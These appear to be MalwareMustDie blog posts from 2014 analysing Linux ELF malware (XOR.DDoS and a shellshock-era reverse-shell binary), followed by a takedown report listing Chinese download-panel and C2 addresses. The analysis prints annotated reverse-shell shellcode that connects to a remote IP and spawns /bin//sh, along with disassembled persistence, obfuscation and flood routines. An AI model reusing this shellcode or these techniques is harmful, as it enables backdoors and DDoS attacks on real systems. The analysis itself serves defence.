Monday, September 29, 2014

MMD-0028-2014 - Fuzzy reversing a new China ELF "Linux/XOR.DDoS"

This research is detected & solved by a hard work of MMD Germany members. Credits are in the bottom of the post.
The case is on and malware infrastructure is mostly up & alive, we don't want to be too details in writing because of that reason, we don't want to teach this crook of what they're lacking of by this post, yet this post necessary to raise awareness of this new emerged threat. Feel free to follow the process at will.

The infection

During the rush of #shellshock we saw another new threat emerged. We saw an attack log of one-liner shell script being injected via ssh connection. By the attack source+CNC IP and the payload, this looks like a China crook's new hack scheme to spread new ELF DDoS'er threat. This is spotted silently spread during the ‪#‎shellshock waves, noted: it was NOT using #shellshock exploit itself.

The details of the attacker's trace in one-liner shell command is as per shown below:

If we beautified it as per below we will see the obfuscation this shell script:

↑the marked mark is the point of all these code, to download the file 3502.rar from some defined host addresses.

The mentioned RAR file itself is actually a shell script too:

You can read the codes here, no free ride copy/paste this time, since we have hard times with those false positives from antiviruses

The main() function is explaining how this script works, read the comments we made (in purple colored words):

Shortly. The blue color explaining the obfuscation strings saved in some variables. The yellow marked color words are functions to be executed, and the red color area is the main function of this script, to download and install a payload.

The obfuscation used is in the enc() and dec() function (see that big pic codes) for encryption and decryption, by using the below code (I picked this one, the one used for decrypting)

tr "[.0-9a-zA-Z\/\/\:]" "[a-zA-Z0-9\;-=+*\/]";
They called it encryption, but is just a mere obfuscator using the character map translation in "tr". Below is the easy shell script I made to decode them:

Below is the result:

We'll see another 3502 file. And a bunch of the CNC used. Noted the username and password they use ;)

What is this thing? In short: It's a sophisticated & well-thought ELF malware infection scheme, aiming Linux in multiple platform. It downloads, detect all parameter need to download the payload or source code of payload. It detected infected host's architecture, compiler. libraries together with sending sensitive information of the host, sent request to CNC to download the certain bins or to download resources to hack and then install the ELF binary.

The POC of this hack is the payload below:

The payload

The header looks very "fine":

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048110
First block:

Various analysis can resulted to the payload was coded in C, hmm..a quality up, we have a challenger here :) A new DDoS'er made in China. Here's the codes (for future reference):

'crtstuff.c'
'autorun.c'
'crc32.c'
'encrypt.c'
'execpacket.c'
'buildnet.c'
'hide.c'
'http.c'
'kill.c'
'main.c'
'proc.c'
'socket.c'
'tcp.c'
'thread.c'
'findip.c'
'dns.c'  
Some pointers for characteristic:

Self copy:

// create file for self-copy
open("/boot/[a-z]{10}", O_WRONLY|O_CREAT, 0400)
open("/boot/[a-z]{10}", O_WRONLY)

//chmod 755
chmod("/boot/[a-z]{10}", 0750)

// start to write..
open("/boot/[a-z]{10}", O_RDONLY)
Auto start:
// install SYS

.text:0x8048B2E   mov     dword ptr [esp], offset aSbinInsmod <== "/sbin/insmod"
.text:0x8048B35   call    LinuxExec_Argv
.text:0x8048B3A   mov     dword ptr [esp], 2
.text:0x8048B41   call    sleep

// xinetd setup..

.text:0x8048852   call    abstract_file_name
.text:0x8048857   mov     [ebp+var_8], eax
.text:0x804885A   mov     eax, [ebp+arg_0]
.text:0x804885D   mov     [esp+0Ch], eax
.text:0x8048861   mov     dword ptr [esp+8], offset aBinShS <== "#!/bin/sh\n%s\n"
.text:0x8048869   mov     dword ptr [esp+4], 400h
.text:0x8048871   lea     eax, [ebp+newpath]
.text:0x8048877   mov     [esp], eax
.text:0x804887A   call    snprintf
   :
.text:0x804887F   mov     eax, [ebp+var_8]
.text:0x8048882   mov     [esp+0Ch], eax
.text:0x8048886   mov     dword ptr [esp+8], offset aEtcInit_dS <== "/etc/init.d/%s"
.text:0x804888E   mov     dword ptr [esp+4], 400h
.text:0x8048896   lea     eax, [ebp+filename]
.text:0x804889C   mov     [esp], eax
.text:0x804889F   call    snprintf
.text:0x80488A4   mov     dword ptr [esp+4], offset aW <== "w"
.text:0x80488AC   lea     eax, [ebp+filename]
.text:0x80488B2   mov     [esp], eax
.text:0x80488B5   call    fopen
   :
.text:0x8048980   mov     dword ptr [esp+8], offset aEtcRcD_dS90S <== "/etc/rc%d.d/S90%s"
.text:0x8048988   mov     dword ptr [esp+4], 400h
.text:0x8048990   lea     eax, [ebp+newpath]
.text:0x8048996   mov     [esp], eax
.text:0x8048999   call    "snprintf"
.text:0x804899E   lea     eax, [ebp+newpath]  // assemble flag component for file attribs
.text:0x80489A4   mov     [esp], eax      <== "filename"
.text:0x80489A7   call    "unlink"
.text:0x80489AC   lea     eax, [ebp+newpath]
.text:0x80489B2   mov     [esp+4], eax    <== "newpath"
.text:0x80489B6   lea     eax, [ebp+filename]
.text:0x80489BC   mov     [esp], eax      <== "oldpath"
.text:0x80489BF   call    "symlink"
.text:0x80489C4   cmp     [ebp+var_C], 0
.text:0x80489C8   jnz     short loc_80489E8
.text:0x80489CA   mov     dword ptr [esp+8], 0AD1473B8h <== "group"
.text:0x80489D2   mov     dword ptr [esp+4], 0AD1473B8h <== "owner"
.text:0x80489DA   lea     eax, [ebp+filename]
.text:0x80489E0   mov     [esp], eax      <== "filename"
.text:0x80489E3   call    "lchown"
Malicious environment setup (i.e. export cmd):
0x06988C   HOME=/
0x069893   HISTFILE=/dev/null
0x0698A6   MYSQL_HISTFILE=/dev/null
0x0698C0   PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

Encryption:

There are some encryption to be decrypted in this malware, that I tested as per below, that looks having xor pattern:

// checking decryptor...

.text:0x804CB63   mov   dword ptr [esp+4], offset aM_Nfr7nlqqgf_0
.text:0x804CB6B   lea   eax, [ebp+filename]
.text:0x804CB71   mov   [esp], eax
.text:0x804CB74   call  dec_conf           // decrypting function..
.text:0x804CB79   mov   dword ptr [esp+8], 0Ch // <== break it here..

Breakpoint 1, 0x0804cb79 in main ()
query offset aM_Nfr7nlqqgf_0: "m.[$nFR$7nLQQGF"
query register: $esp
0xffffa1b0:  "[\305\377\377\343\033\v\b\020"
;-----------------------
.text:0x804CB81   mov    dword ptr [esp+4], offset aM_Nfr7n9_0
.text:0x804CB89   lea    eax, [ebp+var_114D]
.text:0x804CB8F   mov    [esp], eax
.text:0x804CB92   call   dec_conf

Breakpoint 2, 0x0804cb9 in main ()
query offset aM_Nfr7n9_0: "m.[$nFR$7n9"
query register: $esp
0xffffa1b0:  "[\304\377\377\363\033\v\b\f"
;-----------------------
.text:0x804CBBD   mov    dword ptr [esp+4], offset aM4s4nacNa ; "m4S4nAC/nA"
.text:0x804CBC5   lea    eax, [ebp+var_E4D]
.text:0x804CBCB   mov    [esp], eax
.text:0x804CBCE   call   dec_conf
.text:0x804CBD3   mov    [ebp+var_34], 0

Breakpoint 3, 0x0804cbd3 in main ()
query offset aM4s4nacNa ; "m4S4nAC/nA"
query register: $esp
0xffffa1b0:  "[\307\377\377#\034\v\b\v"
Here is the xor used as the component logic for the decryption function:

With the key that lead to this address:

It "looks like" the author is having "interesting" way to remind him the XOR key itself, I don't investigate this further since I had the goal..

A hard-coded callback IP address

And look what I got next to the xor key :))

So now we know the CNC is too ;)

IP: 103.25.9.228||59270 | 103.25.9.0/24 | CLOUD 
Country: "HK | CLOUDRELY.COM" |CLOUD RELY LIMITED

The bummer part of this malware is, it crashed itself when run under limited permission...

"msec   calls "
-----------------------------------------------------------------------
(120): execve("./SAMPLE-MALWARE", ["./SAMPLE-MALWARE"], ["SHELL=etc..])
(125): set_thread_area(0xffc8373c)
(126): set_tid_address(0x92e6888)
(127): set_robust_list(0x92e6890, 0xc)
(128): futex(0xffc83a04, FUTEX_WAKE_PRIVATE, 1)
(129): rt_sigaction(SIGRTMIN, {0x8053860, [], SA_SIGINFO}, NULL, 8)
(130): rt_sigaction(SIGRT_1, {0x8053780, [], SA_RESTART|SA_SIGINFO}, NULL, 8)
(131): rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8)
(132): getrlimit(RLIMIT_STACK,etc)
(133): uname({sysname="Linux", nodename="mmd", release="mmd-amd64", 
             version="#1 SMP mmd-7u1", machine="saever-momma"})
(142): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023)
(143): clone(Process)
(145): exit_group(0)
(146): [pid new] setsid()
(147): open("/dev/null", O_RDWR)
(148): fstat64(3, {st_dev=makedev] etc) 
(149): dup2(3, 0)
(150): dup2(3, 1)
(151): dup2(3, 2)
(152): close(3)
(153): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023) = 20
(154): stat64("/boot" etc)
(155): stat64("/lib", etc)
(156): stat64("/lib/udev" etc)
(157): stat64("/var", etc)
(158): stat64("/var/run", etc)
(159): gettimeofday({1411989055, 135168}, NULL) 
(160): readlink("/proc/self/exe", "/home/mmd/test/SAMPLE-MALWARE", 1023) 
(161): unlink("/lib/udev/udev") 
(162): open("/home/mmd/test/SAMPLE-MALWARE", O_RDONLY)
(163): open("/lib/udev/udev", O_WRONLY|O_CREAT, 0400)
(165): open("/home/mmd/test/SAMPLE-MALWARE", O_RDONLY)
(166): open("/boot/[a-z]{10}", O_WRONLY|O_CREAT, 0400)
(168): open("/boot/[a-z]{10}", O_WRONLY)
(169): clone(Process attached
(171): waitpid(Process suspended
(173): clone(Process attached
(175): exit_group(0)
(179): rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8)
(180): rt_sigaction(SIGCHLD, NULL, {SIG_IGN, [CHLD], SA_RESTART}, 8)
(181): nanosleep({1, 0},..
(192): chmod("/boot/[a-z]{10}", 0750)
(193): open("/boot/[a-z]{10}", O_RDONLY)
(194): "--- SIGSEGV (Segmentation fault) @ 0 (0)" --- ref: [a-z]{10}
(197): "rt_sigprocmask(SIG_SETMASK, [], NULL, 8)"
It saves the file in /boot with this regex: [a-z]{10}

What is the purpose of this malware?

The first is backdoor, and then, obviously DoS (SYN, UDP, TCP flood), using encrypted (temporary) config. Below is the PoC of the DDoS function names:

0x09305E   build_syn // SYN Flood
0x0950D0   build_tcphdr // TCP Flood
0x097101   build_udphdr // UDP FLood
And below is part of backdoor operation using HTTP/1.1 GET (to download / update) and callback in HTTP/1.1 POST:
.text:0x804A917   mov   dword ptr [esp+8], offset aPostSHttp1_1Sh
                        value: "POST %s HTTP/1.1\r\n%sHost: %s\r\nContent-T"
.text:0x804AB1D   mov   dword ptr [esp+8], offset aGetSHttp1_1Sho
                        value: "GET %s HTTP/1.1\r\n%sHost: %s\r\n%s"
Based on the code it looks like using AES.DDoS'er and IptabLes strategy to install, but the source are different. So, this is another new China DDoS'er, I call this as Linux/XOR.DDoS.

Virus Total and sample

Virus total detection is below (click the image to access..) One of 55 is a bad detection..

Sample is shared in kernel mode-->[here]

Conclusion & Credits

This threat is the first time we see using complicated installer/builder. I and other team mates start to feel like playing CTF with this crook. They (China actors) are improving in steps, we must be aware. Please stay safe folks..

Credit: @shibumi (threat sensoring), @wirehack7 (formulation), and others who doesn't want to be mentioned.

Additional

(A reserved section for additional and updates)

#MalwareMustDie!!

Friday, September 26, 2014

MMD-0027-2014 - Linux ELF bash 0day (shellshock): The fun has only just begun...

Background: CVE-2014-6271 + CVE-2014-7169

During the mayhem of bash 0day remote execution vulnerability CVE-2014-6271 and CVE-2014-7169, not for bragging but as a FYI, I happened to be the first who reversed for the first ELF malware spotted used in the wild. The rough disassembly analysis and summary I wrote and posted in Virus Total & Kernel Mode here --> [-1-] [-2-] < thanks to Yinettesys (credit) (the credit is all for her for links to find this malware, for the swift sensoring & alert, and thanks for analysis request, we won't aware of these that fast w/o her).

The fun has only just begun...

Yes. Today I was informed there is another payload distributed, thank's to my good friend :

Which leads to this malicious ELF file served online:

Do the pure reversing..

This ELF "malware" is working differently, it connects to remote host with attempt to bind connection on the certain port while spawning the shell "/bin//sh" upon connected, yes, a remote shell backdoor. Coded with ASM & shellcode to Linux kernel's system call addresses.
For your conveniences, I wrote my decoding scratch & disassembly of all malware bits below in comments, for all of us to see how it works:

0x08048054    31db         xor ebx, ebx
0x08048056    f7e3         mul ebx
0x08048058    53           push ebx
0x08048059    43           inc ebx  // = "SYS_SOCKET" = "socket" ()
0x0804805a    53           push ebx  // Build arg array for INET { protocol = 0, push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1, push BYTE 0x2 ; AF_INET = 2 }
0x0804805b    6a02         push 0x2  // 0x0002 = "PF_INET" 
0x0804805d    89e1         mov ecx, esp //  ecx = pointer to arg array
0x0804805f    b066         mov al, 0x66  // socketcall (syscall # 102) 
0x08048061    cd80         int 0x80  // call interrupt / exec
0x08048063    93           xchg ebx, eax
0x08048064    59           pop ecx
0x08048065    b03f         mov al, 0x3f // <=== system call: _connect()
0x08048067    cd80         int 0x80 // call interrupt _syscall
0x08048069    49           dec ecx
0x0804806a    79f9         jns 0x108048065 // loop to re connect..
  :
0x0804806c    681b139fe0   push 0xe09f131b // 0xe09f131b addr "to IP"
0x08048071    68020011c1   push 0xc1110002 // 0xc1110002 addr "to ports#"
0x08048076    89e1         mov ecx, esp // server strct pointer
0x08048078    b066         mov al, 0x66 // socketcall (syscall # 102)
0x0804807a    50           push eax 
0x0804807b    51           push ecx //  value: "\002" // AF_INET = 2
0x0804807c    53           push ebx // ebx =2 = sys_bind / bind()
0x0804807d    b303         mov bl, 0x3 // system call: _connect()
0x0804807f    89e1         mov ecx, esp  //ecx = "arguement array" "\a"
0x08048081    cd80         int 0x80 // int 0x80 .. _syscall / call interrupt / exec
  :
0x08048083    52           push edx ; push null string termination
0x08048084    682f2f7368   push 0x68732f2f  // push "//sh" to the stack
0x08048089    682f62696e   push 0x6e69622f  //push "/bin" to the stack
0x0804808e    89e3         mov ebx, esp // addr of "/bin//sh" into ebx via esp
0x08048090    52           push edx // push x32 null terminator to stack
0x08048091    53           push ebx // push string address to stack up from null terminator point
0x08048092    89e1         mov ecx, esp // arg array with string ptr
0x08048094    b00b         mov al, 0xb
0x08048096    cd80         int 0x80 // execve("/bin//sh", ["/bin//sh", NULL], [NULL])
↑this is all to find out it back-connects to ip 27.19.159.224 in port 4545 & spawning shell "/bin//sh" of the infected host after connected to that remote host. I think I saw this as shellcode, was used in about a lot in 2011 or 2012..

Just in case you want to see how I reversed it: (guess.. what tool is it?? *smile)

Confirming reverse engineering:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
connect(3, {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("27.19.159.224")
The dup stub burps as per coded strings. It is self-explanatory.

Reversing is confirmed, next step is... let's bang their door! :-))

fu4k   12467   mmd    0u     IPv4       243888042   0t0    TCP we-bang-u.mmd.org:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    1u     IPv4       243888042   0t0    TCP we-bang-u.mmd.org:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    2u     IPv4       243888042   0t0    TCP we-bang-u.mmd.org:33787->27.19.159.224:4545 (SYN_SENT)
fu4k   12467   mmd    3u     unix 0xffff88018aad94c0   0t0 243884464 socket
fu4k   12467   mmd    4u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    5u     unix 0xffff88018aad8e40   0t0 243884465 socket
fu4k   12467   mmd    6r     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    7w     FIFO          0,8   0t0 243884466 pipe
fu4k   12467   mmd    8u     IPv4       243888042   0t0    TCP we-bang-u.mmd.org:33787->27.19.159.224:4545 (SYN_SENT)
It looks like he doesn't want to play with my "knock knock" game.. :-(( #bummer

This is the CNC IP source:

IP: "27.19.159.224"
ASN: "4134"
CIDR: "27.16.0.0/12"
Code: "CHINANET"
Contry: "CN"
ISP: "CHINATELECOM.COM.CN"
AREA: "CHINANET HUBEI PROVINCE NETWORK"

Detection ratio

As always for a new ELF malware found.. AV detection is ZERO (FUD/FullyUnDetected):

Sample is (always) shared

I am sharing the sample in kernelmode, I register new ELF malware repository name: "Linux/binsh" < since it uses "/bin//sh" as shell in hard coded shellcode-->[LINK]

Epilogue

So we have "another" crook start playing with ELF hacks for spying purpose on shellshock too :-)

Thank you

Thank you to IT media article who directly mentioned and linked to us:

http://www.ehackingnews.com/2014/09/shellshock-bash-bug.html
http://www.zdnet.com/hackers-jump-on-the-shellshock-bash-bandwagon-7000034095/
http://www.csoonline.com/article/2687958/application-security/shellshock-bash-vulnerability-being-exploited-in-the-wild-red-hat-says-patch-incomplete.html
http://www.version2.dk/artikel/botnets-kaster-sig-over-kritisk-shellshock-saarbarhed-shanghaje-linux-servere-68791
http://www.solidot.org/story?sid=41294
http://www.bkjia.com/xtaq/885386.html

Thank you to the IT media article who mentioned our work:

http://www.newsfactor.com/story.xhtml?story_id=94303
http://linux.cn/article-3909-1.html
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb
http://japan.zdnet.com/security/analysis/35054302/
http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140926101159
http://www.zdnet.de/88206884/apple-mehrheit-der-mac-nutzer-ist-von-bash-luecke-nicht-betroffen/
http://www.cnet.de/88137503/bash-bug-exploit-code-fuer-shellshock-luecke-entdeckt/
http://www.zdnet.de/88206816/ersten-angriff-auf-bash-luecke-linux-und-unix-entdeckt/
http://www.silicon.de/41604047/shellshock-erste-angriffe-auf-linux-leck/
http://www.baomoi.com/Phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-Bash/76/14901865.epi
http://www.downloadblog.it/post/116264/shellshock-primi-attacchi-col-bug-nella-bash-di-linux
http://ictnews.vn/cntt/bao-mat/phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-bash-119952.ict
http://codigofonte.uol.com.br/noticias/primeiros-ataques-usando-bug-bash-sao-descobertos/19514

Thank you for blog and commments links:

http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3506
http://habrahabr.ru/company/eset/blog/238257/
http://blog.0day.jp/2014/09/bash-0dayreal-time.html

Stay safe..there will be more of these.. #MalwareMustDie!

Sunday, September 14, 2014

Tango down report of OP China ELF DDoS'er

This report is credited to the team work between MMD, CERT and fellow researchers involved.

Tango OP Announcement:

We are releasing the take-down (Tango OP) project information of our current on-going operation against the ELF DDoS malware, the threat with origin from China.

The threat is verdicted to be originated from China based on:

1. The source binary data contains China specific details
2. Attacker IP address during attempt to infect are mostly (98%) originated from China network
3. Panels served by ELF malware be downloaded during infection, are located in China network (98%)
4. CNC server used for downloading config or used for remote attack (92%)

The distributed malware are separated into 3 categories:
1. "Elknot" variants, technical information: --> [link]
2. "AES.DDoS", technical information: --> [link]
3. ".IptabLes|x", technical information: --> [link]
4. "BillGates", technical information: --> [link]

5. (NEW) "GoARM.Bot", technical information: --> [link]

The malware analyzed was compiled with aiming NIX base routers/servers, with these OS & CPU architectures:
1. Intel x32 (Linux / FreeBSD)
2. Intel x64 (Linux / FreeBSD)
3. AMD x64 (Linux)
3. ARM (Linux)
4. MIPS (Linux)
5. (NEW) PPC (Linux)

PoC, Evidence & Samples

We have some video recorded as hard evidence of the attack in progress as per listed in the links below:
1. https://www.youtube.com/watch?v=JjtOUto9Sr8
2. https://www.youtube.com/watch?v=z6MdtFck6x4
3. https://www.youtube.com/watch?v=sdKCjbrs5uQ
4. https://www.youtube.com/watch?v=YtxaT1rahY8
5. https://www.youtube.com/watch?v=OcOiuxAtbOk

We also posted three awareness , for the detail analysis of this threat:
1. May 2014 [link]
2. June 2014 [link]
3. Sept 2014 [link]

View of some download panel pictures for evidence:


Thank you @300trg for fixing the 5th picture↑

Illustration of "Volume & Combination" in its distribution

In a panel served with ELF malware, China DDoS'er crooks is distributing quite big amount of downloads (even we are assuming 70% downloads are for infection), as per seen in one panel snapshot picture below:

In a panel we often spotted the China crook is mixing the type of malware, as per seen in the PoC below:

Mixing samples PoC:

Recent ELF samples we collected & analyzed for the past one month:
(there are a lot more than these..and these are still coming)

https://www.virustotal.com/en/file/276b2bb1bb19e7b81e7656a6c411a094952592f77948151d43d460907e9702de/analysis/
https://www.virustotal.com/en/file/cb4aa1bc0a65771b7a23afc99d559a9943ebe06901b6ba37fcf563c64f28a872/analysis/
https://www.virustotal.com/en/file/586c2afdedef5e2ff0298b6bb5d8e11d847d35e86b2be56b437a35227643fb58/analysis/
https://www.virustotal.com/en/file/bfdad0437c12ccfb2b5406f902bcae0856c716a6f8b6c3b5e925a48e12ca51ec/analysis/
https://www.virustotal.com/en/file/afece0410779068b43c122008dad83af98a6a20e37f4414a99587ebc0f9f13d1/analysis/
https://www.virustotal.com/en/file/daccf72b00939ef0f14eb19b2a9cf73a61514a4c86d28369886634644fb0159d/analysis/
https://www.virustotal.com/en/file/77100c8e3ec940af6336bf5a8772057ed1a052658f0af5e6bb4a0f853ebb7a82/analysis/
https://www.virustotal.com/en/file/9d43b31bc47a4fff65ab5156e2fc348bf36451d58d00850a1f3c21e2d696910b/analysis/
https://www.virustotal.com/en/file/e27571a89dfbb256bdf2aa7ff0a062bd10bd712c46d7ddc045a8ac85c4903c2f/analysis/
https://www.virustotal.com/en/file/c1014f0ff0efc018e28300c2296459948489bd5d22633a0af1ca6ffb0c2336fe/analysis/
https://www.virustotal.com/en/file/3f50c0f70e3eb2debf77ba7626e9c358d7ed02d57ee6da375c0b507006df3da5/analysis/
https://www.virustotal.com/en/file/393ac47184475af099eafce91d7472ea5af1d74636a992cc08bf40872d22fa4a/analysis/
https://www.virustotal.com/en/file/3f50c0f70e3eb2debf77ba7626e9c358d7ed02d57ee6da375c0b507006df3da5/analysis/
https://www.virustotal.com/en/file/393ac47184475af099eafce91d7472ea5af1d74636a992cc08bf40872d22fa4a/analysis/
https://www.virustotal.com/en/file/b81cc1f3d87fe5eddb8dec8140f0f255697a58284882d9edc4e8d636b75772c3/analysis/
https://www.virustotal.com/en/file/6dd946e821df59705dcfeb79fab810336d0ee497fd715fb5b6711e05c0428f4d/analysis/
https://www.virustotal.com/en/file/9746054219bfa20e0bf55a066acd447a8878913d4b857057729a579cb1a078b3/analysis/
https://www.virustotal.com/en/file/8fa44a7b3eb707f584b223792bdb78b1e5f69a40dba20634094077c2f0287bca/analysis/
https://www.virustotal.com/en/file/d2b3ce2195b1422c165faeb1fbbdd098f13df6cf6595fb18f8d618cd78df597c/analysis/
https://www.virustotal.com/en/file/bb4786695774ae7777200a78e56db83ad5d5bdf1c1b84ef86dd796f7c9a3e1b4/analysis/
https://www.virustotal.com/en/file/406074b1c168602163a8c246f88ae9914f54ceacc47ec7fa0d8d3116e35374be/analysis/
https://www.virustotal.com/en/file/393ea466d635ea97150ca4bc52b6de7c47da2e7bffae28248b388523141a1cc8/analysis/
https://www.virustotal.com/en/file/470dbcc291008e183e46a81ce84aff1f90131f5a3d1fb30caf885769748d981e/analysis/
https://www.virustotal.com/en/file/661233de0cd229dbcbe37c06c2a6c86e1dbc081072e03c3207c00c6ce19aa57c/analysis/
https://www.virustotal.com/en/file/96aad20e56a59389117609aa192fc1771e105741e2e04664de56ecc1545a4c8a/analysis/
https://www.virustotal.com/en/file/223f66e52e84cfa21ae94053152e015f652894f77d129b3b738bb4937cfc857d/analysis/
https://www.virustotal.com/en/file/701ea25c01212e6f21ffbf5e60214a441558825ec9b86159e19b1f9576962e86/analysis/
https://www.virustotal.com/en/file/0383b323737e02f2e39a9ade6539432f7bb17ebb79fd809510a8ea1102963a0d/analysis/
https://www.virustotal.com/en/file/18ee96df892b632073d1d6ecc3c339dd120e66411c15eff176efcf2c1728cfc7/analysis/
https://www.virustotal.com/en/file/dc2b6a4d1e1f4014f0f9c3fb13908a3f46f9cb6a01a51f6447f9e85d3d1abcfe/analysis/
https://www.virustotal.com/en/file/5e3aea8e7f297685ddca0fadf9503d350d78be6f0bca700dc79fccc2ac9f925d/analysis/
https://www.virustotal.com/en/file/f5e7ba8d7b40415c7cbb8f45177deb5daffc2450c9f64d0e5c2ed65b9d9d7d55/analysis/
https://www.virustotal.com/en/file/d86a12974631e8711b9bce8fdf1f1fd4775f741461274005b2362647f17a63c6/analysis/
[..]

Tango down result so far of the China ELF DDoS'er download panels:

'h00p:/222.76. 210.140:81
h00p://122.94. 40.23:38384
h00p://60.173. 10.184:8080
h00p://122.142. 161.163:8080
h00p://125.46. 53.155:1996
h00p://183.60. 197.240:8181 
h00p://112.117. 223.10:280
h00p://23.95.28. 228:8080
h00p://61.164. 145.100:89
h00p://108.171. 200.16:3100
h00p://183.56. 173.44:281
h00p://112.117. 223.10:789
h00p://61.147. 103.21:8080
h00p://218.25. 36.220:630
h00p://183.60. 197.240:8181
h00p://120.210. 204.102:999
h00p://174. 139.20.66:10080/
h00p://119. 90.135.206/
h00p://183. 60.142.173:523
h00p://183. 60.149.199:8081
h00p://183. 60.202.61:8088 
h00p://183. 56.173.44:281
h00p://162. 221.12.193:68
h00p://218. 28.116.248
h00p://108. 171. 200.16:3100           
h00p://183.60. 197.240:8181
h00p://199.192. 158.36:888
h00p://218.6.12. 157:8023
h00p://182.254. 168.157:4343
h00p://110.80. 129.134:999/
h00p://183.60. 202.91:2013/
h00p://182.254. 168.157:4343/
h00p://182. 254.180.241:2015/
h00p://219. 235.8.29:2015/
h00p://104.194.6.138:110/
h00p://121.127.241.55:8081/
h00p://183. 60.202.209:44335/
h00p://218.84. 198.37:10042/
h00p://114.215. 140.230:55/1231
h00p://183.60. 109.78:45852/           '

Detail network information for the origin of ELF malware panel addresses above:

222.76.210.140||4134 | 222.76.0.0/14 | CHINANET | CN | - | XIAMEN TELECOM IDC
122.94.40.23||9394 | 122.94.0.0/16 | CTTNET | CN | CHINATIETONG.COM | CHINA TIETONG TELECOMMUNICATIONS CORPORATION
60.173.10.184||4134 | 60.168.0.0/13 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET ANHUI PROVINCE NETWORK
122.142.161.163|163.161.142.122.adsl-pool.jlccptt.net.cn.|4837 | 122.136.0.0/13 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM JILIN PROVINCE NETWORK
125.46.53.155|hn.kd.ny.adsl.|4837 | 125.40.0.0/13 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM HENAN PROVINCE NETWORK
183.60.197.240||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
112.117.223.10|10.223.117.112.broad.km.yn.dynamic.163data.com.cn.|4134 | 112.116.0.0/15 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET YUNNAN PROVINCE NETWORK
23.95.28.228|host.colocrossing.com.|36352 | 23.95.24.0/21 | AS-COLOCROSSING | US | HUDSONVALLEYHOST.COM | HUDSON VALLEY HOST
61.164.145.100||4134 | 61.164.0.0/16 | CHINANET | CN | - | WENZHOU TELECOM CO. LTD
108.171.200.16|108-171-200-16.static.webnx.com.|18450 | 108.171.192.0/19 | WEBNX | US | WEBNX.COM | WEBNX INC.
183.56.173.44||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
112.117.223.10|10.223.117.112.broad.km.yn.dynamic.163data.com.cn.|4134 | 112.116.0.0/15 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET YUNNAN PROVINCE NETWORK
61.147.103.21||65222 | 61.147.103.21/32 | -Private |  | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
218.25.36.220||4837 | 218.25.0.0/16 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM LIAONING PROVINCE NETWORK
183.60.197.240||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
120.210.204.102||9808 | 120.210.192.0/19 | CMNET | CN | CHINAMOBILELTD.COM | CHINA MOBILE COMMUNICATIONS CORPORATION
174.139.20.66|customer.krypt.com.|35908 | 174.139.20.0/24 | VPLSNET | US | KRYPT.COM | KRYPT TECHNOLOGIES
119.90.135.206||23724 | 119.90.128.0/17 | CHINANET-IDC-BJ | CN | CNPC.COM.CN | HUABEI OIL FIELD COMMUNICATION CO
183.60.142.173||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
183.60.149.199||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
183.60.202.61||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
183.56.173.44||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
162.221.12.193|193.12.221.162.clear-ddos.com.|62466 | 162.221.12.0/24 | CLEAR-DDOS-AS | CA | CLEAR-DDOS.COM | CLEARDDOS TECHNOLOGIES
218.28.116.248|pc0.zz.ha.cn.|4837 | 218.28.0.0/15 | CHINA169 | CN | CHINAUNICOM.COM | CHINA UNICOM HENAN PROVINCE NETWORK
108.171.200.16|108-171-200-16.static.webnx.com.|18450 | 108.171.192.0/19 | WEBNX | US | WEBNX.COM | WEBNX INC.
183.60.197.240||4134 | 183.0.0.0/10 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
199.192.158.36||6939 | 199.192.152.0/21 | HURRICANE | US | EHOSTINGUSA.COM | VPS21 LTD
218.6.12.157||4134 | 218.6.0.0/17 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET FUJIAN PROVINCE NETWORK
182.254.168.157||45090 | 182.254.168.0/23 | CNNIC-TENCENT-NET |  | - | COMSENZ TECHNOLOGY LTD
